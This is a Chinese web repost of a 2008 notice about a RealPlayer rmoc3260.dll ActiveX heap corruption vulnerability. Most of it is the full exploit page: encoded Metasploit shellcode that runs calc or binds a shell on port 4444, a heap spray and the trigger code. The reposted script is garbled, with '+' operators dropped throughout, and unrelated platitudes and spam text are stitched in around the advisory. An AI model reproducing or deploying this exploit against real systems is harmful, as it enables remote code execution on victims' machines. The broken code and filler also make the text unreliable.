RealPlayer又曝新漏洞

网络
减少蜗居时间，亲近大自然。责任是从现在开始就要承担的，父母不再年轻，能回报的时候及时回报，不要总觉得时间还很多，岁月不等人。
RealPlayer的漏洞问题越来越严重，milworm在昨天再次发布了一个Real Player 控件溢出漏洞。在环境 Windows XP SP2(fully patched) English, IE6测试成功运行calc。
该漏洞存在于rmoc3260.dll，并且只有 version 6.0.10.45可以被成功执行漏洞攻击。

在最新版本以及旧版本没有办法成功执行该漏洞。该DLL版本对应的REAL版本号为：6.0.14.748。请使用6.0.14.748版本的用户尽快安装新版本。

发布日期:2008-4-2
最后更新日期:2008-4-2 12:37（GMT）


real又报新洞。。。漏洞组件rmoc3260.dll版本6.0.10.45

程序代码
<!--
Real Player rmoc3260.dll ActiveX Control Remote Code Execution Exploit(Heap Corruption)
written by e.b.
Tested on Windows XP SP2(fully patched) English, IE6, rmoc3260.dll version 6.0.10.45
Thanks to h.d.m. and the Metasploit crew
-->
<html>
<head>
<title>Real Player rmoc3260.dll ActiveX Control Remote Code Execution Exploit</title>
<script language="JavaScript" defer>
function Check() {




// win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com
var shellcode1 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949"
"%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a"
"%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241"
"%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c"
"%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c"
"%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f"
"%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b"
"%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c"
"%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831"
"%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955"
"%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b"
"%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b"
"%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44"
"%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35"
"%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530"
"%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b"
"%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c"
"%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63"
"%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f"
"%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377"
"%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f"
"%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035"
"%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653"
"%u314e%u7475%u7038%u7765%u4370");

// win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com
var shellcode2 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949"
"%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a"
"%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241"
"%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u724c"
"%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f"
"%u4e70%u526b%u744c%u4164%u6e34%u376b%u5535%u4c6c"
"%u714b%u646c%u6145%u7468%u6a41%u6e4f%u626b%u326f"
"%u6c38%u334b%u376f%u5550%u7851%u316b%u6c59%u504b"
"%u6e34%u466b%u6861%u456e%u6f61%u6c30%u6c59%u6b6c"
"%u3934%u4150%u3764%u6877%u6941%u565a%u636d%u4b31"
"%u7872%u6c6b%u7534%u566b%u3134%u5734%u5458%u6b35"
"%u6e55%u336b%u556f%u7474%u7841%u416b%u4c76%u464b"
"%u626c%u6e6b%u416b%u354f%u564c%u6861%u666b%u3663"
"%u6c4c%u6b4b%u7239%u444c%u5764%u616c%u4f71%u4733"
"%u6b41%u336b%u4c54%u634b%u7073%u6c30%u534b%u6470"
"%u6c4c%u724b%u4550%u4e4c%u6c4d%u374b%u7530%u7358"
"%u426e%u4c48%u524e%u466e%u586e%u566c%u3930%u586f"
"%u7156%u4676%u7233%u6346%u3058%u7033%u3332%u5458"
"%u5237%u4553%u5162%u504f%u4b54%u5a4f%u3370%u6a58"
"%u686b%u596d%u456c%u466b%u4930%u596f%u7346%u4e6f"
"%u5869%u7365%u4d56%u5851%u366d%u6468%u7242%u7275"
"%u674a%u5972%u6e6f%u7230%u4a48%u5679%u6b69%u6e45"
"%u764d%u6b37%u584f%u3356%u3063%u5053%u7653%u7033"
"%u3353%u5373%u3763%u5633%u6b33%u5a4f%u3270%u5046"
"%u3568%u7141%u304c%u3366%u6c63%u6d49%u6a31%u7035"
"%u6e68%u3544%u524a%u4b50%u7177%u4b47%u4e4f%u3036"
"%u526a%u3130%u7041%u5955%u6e6f%u3030%u6c68%u4c64"
"%u546d%u796e%u3179%u5947%u596f%u4646%u6633%u6b35"
"%u584f%u6350%u4b58%u7355%u4c79%u4146%u6359%u4b67"
"%u784f%u7656%u5330%u4164%u3344%u7965%u4e6f%u4e30"
"%u7173%u5878%u6167%u6969%u7156%u6269%u3977%u6a6f"
"%u5176%u4945%u4e6f%u5130%u5376%u715a%u7274%u6246"
"%u3048%u3063%u6c6d%u5a49%u6345%u625a%u7670%u3139"
"%u5839%u4e4c%u4d69%u5337%u335a%u4e74%u4b69%u5652"
"%u4b51%u6c70%u6f33%u495a%u336e%u4472%u6b6d%u374e"
"%u7632%u6e4c%u6c73%u704d%u767a%u6c58%u4e6b%u4c4b"
"%u736b%u5358%u7942%u6d6e%u7463%u6b56%u304f%u7075"
"%u4b44%u794f%u5346%u706b%u7057%u7152%u5041%u4251"
"%u4171%u337a%u4231%u4171%u5141%u6645%u6931%u5a6f"
"%u5070%u6e68%u5a4d%u5679%u6865%u334e%u3963%u586f"
"%u6356%u4b5a%u4b4f%u704f%u4b37%u4a4f%u4c70%u614b"
"%u6b47%u4d4c%u6b53%u3174%u4974%u596f%u7046%u5952"
"%u4e6f%u6330%u6c58%u6f30%u577a%u6174%u324f%u4b73"
"%u684f%u3956%u386f%u4350");


var bigblock = unescape("%u0C0C%u0C0C");
var headersize = 20;
var slackspace = headersize shellcode1.length;
while (bigblock.length < slackspace) bigblock = bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length slackspace < 0x40000) block = block block fillblock;



var memory = new Array();
for (i = 0; i < 400; i ){ memory[i] = block shellcode1 }

var buf = '';
while (buf.length < 32) buf = buf unescape(" ");

var m = '';

m = obj.Console;
obj.Console = buf;
obj.Console = m;

m = obj.Console;
obj.Console = buf;
obj.Console = m;


}

</script>


</head>
<body onload="JavaScript: return Check();">
<object classid="clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93" id="obj">
Unable to create object
</object>

</body>
</html>

到此这篇关于RealPlayer又曝新漏洞 就介绍到这了。智者一切求自己，愚者一切求他人。好听的游戏名字更多相关RealPlayer又曝新漏洞 内容请查看相关栏目，小编编辑不易，再次感谢大家的支持！